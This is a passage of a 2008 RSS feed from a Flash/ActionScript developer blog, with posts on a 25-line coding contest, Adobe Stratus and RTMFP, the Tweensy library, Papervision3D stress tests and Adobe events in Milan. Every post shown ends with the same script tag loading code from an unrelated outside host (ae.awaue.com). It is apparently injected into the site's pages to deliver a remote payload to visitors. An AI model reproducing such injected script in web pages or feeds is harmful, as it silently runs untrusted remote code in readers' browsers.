	b.<span style="color: #006600;">x</span> = v<span style="color: #66cc66;">%</span>50<span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">width</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	b.<span style="color: #006600;">z</span> = <span style="color: #0066CC;">Math</span>.<span style="color: #0066CC;">floor</span><span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#40;</span>v<span style="color: #66cc66;">/</span><span style="color: #cc66cc;">50</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span>-<span style="color: #66cc66;">&#40;</span>_bd.<span style="color: #0066CC;">height</span><span style="color: #66cc66;">*</span><span style="color: #cc66cc;">24</span><span style="color: #66cc66;">*</span>.5<span style="color: #66cc66;">&#41;</span>;
	<span style="color: #b1b100;">return</span> Bitmap<span style="color: #66cc66;">&#40;</span>_vxCont.<span style="color: #006600;">addChild</span><span style="color: #66cc66;">&#40;</span>b<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;<span style="color: #66cc66;">&#125;</span>
<span style="color: #808080; font-style: italic;">// 25 lines ends here!</span>
&nbsp;
enjoy ;<span style="color: #66cc66;">&#41;</span></pre></td></tr></table></div>

<p><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/30/my-entry-to-bit-101s-25-lines-competition/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Adobe Stratus on Adobe Labs</title>
		<link>http://www.flashfuck.it/2008/11/19/adobe-stratus-on-adobe-labs/</link>
		<comments>http://www.flashfuck.it/2008/11/19/adobe-stratus-on-adobe-labs/#comments</comments>
		<pubDate>Wed, 19 Nov 2008 09:36:01 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[AIR]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash Player 10]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Adobe]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=99</guid>
		<description><![CDATA[Did you remember &#8220;Pacifica&#8221; project? Now it&#8217; [UPDATE: Adobe Stratus is a rendezvous service for RTMFP, a new protocol built in to Flash Player 10 and AIR 1.5. Neither RTMFP nor Stratus are related to the project codenamed Pacifica.] Something new is on adobe labs and its name is &#8220;Stratus&#8220;..WONDERFUL!  

Let&#8217;s explain what i&#8217;m [...]]]></description>
			<content:encoded><![CDATA[<p><span style="text-decoration: line-through;">Did you remember &#8220;<a href="http://blogs.adobe.com/pacifica/">Pacifica</a>&#8221; project? Now </span><span style="text-decoration: line-through;">it&#8217;</span> [UPDATE: Adobe Stratus is a rendezvous service for RTMFP, a new protocol built in to Flash Player 10 and AIR 1.5. Neither RTMFP nor Stratus are related to the project codenamed Pacifica.] Something new is on adobe labs and its name is &#8220;<a href="http://labs.adobe.com/wiki/index.php/Stratus">Stratus</a>&#8220;..WONDERFUL! <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p style="text-align: center;"><a href="http://www.flashfuck.it/wp-content/uploads/2008/11/stratus_sample_app.png"><img class="alignnone size-full wp-image-100" title="stratus_sample_app" src="http://www.flashfuck.it/wp-content/uploads/2008/11/stratus_sample_app.png" alt="" width="456" height="558" /></a></p>
<p>Let&#8217;s explain what i&#8217;m talking about:</p>
<p><a href="http://labs.adobe.com/wiki/index.php/Stratus">Stratus</a> is &#8220;hosted rendezvous service that aids establishing communications between Flash Player endpoints&#8221;.<br />
This technology enables clients&#8217; flash player (10 +, or AIR 1.5) to connect directly each other to share runtime informations&#8230;actually <a href="http://en.wikipedia.org/wiki/Peer-to-peer">PEER TO PEER</a>!! (underline this: Stratus is a service by Adobe, not a technology to run on own servers).</p>
<p>Stratus does support only &#8220;end to end&#8221; p2p, multicast or swarming are not supported. This means we&#8217;re not enabled to create a new air-mule service over stratus, but we can build our p2p video chat, p2p real time games, etc&#8230;</p>
<p>Stratus introduces a new data transfer protocol: RTMFP, which uses UDP instead of clean RTMP which uses TCP. (note, RTMFP is not <a href="http://www.adobe.com/devnet/flashmediaserver/articles/overview_streaming_fms3_02.html">RTMP*</a>, which is the encrypted protocol for FMS).</p>
<p>Stratus is now beta, and you can test a <a href="http://labs.adobe.com/technologies/stratus/samples/">sample application hosted on the labs Stratus page</a>&#8230;</p>
<p>Stratus is going to be released next year (hopefully &#8220;early&#8221;) &#8230;it seems we&#8217;re going to have real time &#8220;anything&#8221; in few months <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p>This could be a new red pill for our webapps,<br />
Stay tuned <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/11/19/adobe-stratus-on-adobe-labs/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Tweensy: Tween manager + gfx effects generator</title>
		<link>http://www.flashfuck.it/2008/09/11/tweensy-tween-manager-gfx-effects-generator/</link>
		<comments>http://www.flashfuck.it/2008/09/11/tweensy-tween-manager-gfx-effects-generator/#comments</comments>
		<pubDate>Thu, 11 Sep 2008 23:00:02 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[gfx]]></category>
		<category><![CDATA[tween]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/?p=85</guid>
		<description><![CDATA[I recently found some very impressive demos of a new excellent framework: Tweensy, by an English flash developer named Shane McCartney.

Tweensy is mainly 2 things: a tween manager (such as tweener or tweenlite) and a gfx generator which includes a particle emitter, a bitmap render system.
Till now I&#8217;m getting that kind of effects by combining [...]]]></description>
			<content:encoded><![CDATA[<p>I recently found some very impressive demos of a new excellent framework: <a href="http://www.lostinactionscript.com/blog/index.php/2008/08/31/as3-tween-engine-tweensy-preview/">Tweensy</a>, by an English flash developer named Shane McCartney.</p>
<p><img src="http://www.flashdynamix.com/blog/wp-content/uploads/2008/08/tweensy.jpg" alt="" width="350" height="222" /></p>
<p>Tweensy is mainly 2 things: a tween manager (such as tweener or tweenlite) and a gfx generator which includes a particle emitter, a bitmap render system.</p>
<p>Till now I&#8217;m getting that kind of effects by combining <a href="http://code.google.com/p/tweener/">tweener</a> with a custom particle emitter or <a href="http://flintparticles.org/">flint</a> library, I&#8217;m very curious to try out this new promising framework <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/09/11/tweensy-tween-manager-gfx-effects-generator/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Flash 3D stress tests</title>
		<link>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/</link>
		<comments>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/#comments</comments>
		<pubDate>Thu, 26 Jun 2008 07:31:18 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[3D]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[Flash Player]]></category>
		<category><![CDATA[Flash Player 9]]></category>
		<category><![CDATA[Papervision 3D]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/</guid>
		<description><![CDATA[I just moved to my fresh new country¬† and started studing for my new job  
I&#8217;m trying to get a usual &#8220;virtual world&#8221; scene (such as second life&#8217;s) using (possibly free and open) as3 3D frameworks, so my first choice has been papervision3D.
Unfortunately I&#8217;m not a 3D modeler so I had to get models [...]]]></description>
			<content:encoded><![CDATA[<p>I just moved to my <a href="http://en.wikipedia.org/wiki/Switzerland">fresh new country</a>¬† and started studing for my new job <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>I&#8217;m trying to get a usual &#8220;virtual world&#8221; scene (such as second life&#8217;s) using (possibly free and open) as3 3D frameworks, so my first choice has been papervision3D.</p>
<p>Unfortunately I&#8217;m not a 3D modeler so I had to get models from the web, anyway <a href="http://sketchup.google.com/3dwarehouse/">google sketchup warehouse</a> is a very good resource to collect DAEs (but remember they may be not parsable by ascollada).<br />
For the human model I&#8217;ve just &#8220;stolen&#8221; a walking girl from <a href="http://perso.numericable.fr/chamaslot/anim.php">3Dflasho</a>.<br />
&#8230;and <a href="http://www.flashfuck.it/vwtests/stadium/pv3d.html">here</a>&#8217;s what I got combining the 2 models: a girl walking in a stadium. (girl is automatically walking forward, just use left and right arrows to make her turn)</p>
<p style="text-align: center"><a href="http://www.flashfuck.it/vwtests/stadium/pv3d.html"><img src="http://www.flashfuck.it/wp-content/uploads/2008/06/pv3dstadium.jpg" alt="pv3dstadium.jpg" /></a></p>
<p style="text-align: center"><em>(note: textures are about 7 mb and the whole swf is very cpu intensive)¬†</em></p>
<p>Take a look to the profiler, you can notice that framerate is very low even on a very good machine (i had a value range from 12 to 18 with everything loaded and 26\28 for the girl only on a macbookpro 2.4ghz and flash player 9.0.124 debug).</p>
<p>Next steps for me are:</p>
<p>1) try the same models on Away3D and maybe on Alternativa</p>
<p>2) search for better models (expecially for the stadium which generates too many culling issues on the ground)</p>
<p>3) have a <a href="http://www.thinkgeek.com/caffeine/drinks/a273/">mana potion</a></p>
<p>I hope to get good news from papervision and away3d mailing lists about flash 10 implementations, expecially about both engines&#8217; drawing speed..in the while I&#8217;m going on with my tests <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/26/flash-3d-stress-tests/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Adobe lands in Italy: onAir Tour and Colin Moock in Milan</title>
		<link>http://www.flashfuck.it/2008/06/11/adobe-lands-in-italy-onair-tour-and-colin-moock-in-milan/</link>
		<comments>http://www.flashfuck.it/2008/06/11/adobe-lands-in-italy-onair-tour-and-colin-moock-in-milan/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 12:00:37 +0000</pubDate>
		<dc:creator>pigiuz</dc:creator>
				<category><![CDATA[AIR]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Adobe]]></category>

		<guid isPermaLink="false">http://www.flashfuck.it/2008/06/11/adobe-lands-in-italy-onair-tour-and-colin-moock-in-milan/</guid>
		<description><![CDATA[What&#8217;s next here in Italy?
1) onAir Tour stops in Milan on friday 13 june
2) Colin Moock lands in Milan for his &#8220;from the ground up tour&#8221; on monday 23 june
&#8230;exciting newsss  
]]></description>
			<content:encoded><![CDATA[<p>What&#8217;s next here in Italy?</p>
<p>1) <a href="http://onair.adobe.com/">onAir Tour</a> stops in Milan on friday 13 june</p>
<p>2) Colin Moock lands in Milan for his &#8220;<a href="https://www.ce1.com/cgi-bin/form-proc3.cgi?client_id=ADOBE&amp;event_id=ADOBE%20AS3%20TOUR">from the ground up tour</a>&#8221; on monday 23 june</p>
<p>&#8230;exciting newsss <img src='http://www.flashfuck.it/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> <script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.flashfuck.it/2008/06/11/adobe-lands-in-italy-onair-tour-and-colin-moock-in-milan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
